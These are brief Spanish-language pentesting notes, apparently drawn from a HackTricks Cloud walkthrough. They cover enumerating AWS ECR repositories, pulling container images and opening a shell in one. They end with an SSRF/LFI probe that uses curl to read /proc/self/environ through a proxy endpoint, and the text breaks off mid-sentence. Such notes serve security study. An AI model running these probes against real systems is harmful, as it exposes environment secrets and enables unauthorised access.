Pentesting ECRs
AWS - ECR Unauthenticated Enum - HackTricks Cloud
Listar las imágenes de un repositorio por el registro en el que se encuentra:
aws ecr list-images --repository-name NAME --registry-id ID --region region
Para poder obtener el ID de registro:
aws sts get-caller-identity --profile profile --region region
Esto nos lista entre otras cosas el AccountId que nos vale como id del registro, porque es la cuenta propietaria de ese registro.
Después:
aws ecr describe-images --repository-name NAME --registry-id ID --region region
Obtener el digest de la imagen (id):
aws ecr batch-get-image --repository-name NAME --registry-id ID --image-ids imageTag=latest --region region | jq '.images[].imageManifest | fromjson'
Obtener la url de descarga de la imagen pasándole el digest:
aws ecr get-download-url-for-layer --repository-name NAME --registry-id ID --layer-digest "sha256:digest" --region region
Deployear imagen
aws configure --profile profile
aws ecr get-login-password --region region --profile profile | \
docker login --username AWS --password-stdin {registry-id}.dkr.ecr.region.amazonaws.com
Hacemos pull de la imagen del repositorio level2
docker pull {registry-id}.dkr.ecr.{region}.amazonaws.com/{repository}:latest
Ejecutamos una shell
docker run -it --rm {registry-id}.dkr.ecr.{region}.amazonaws.com/{repository}:latest sh
SSRF
Podemos probar un LFI
curl http://container/proxy/file:///proc/self/environ --output - ; echo
Nos viene de perlas un SSRF en un ECR para poder acceder a direcciones como: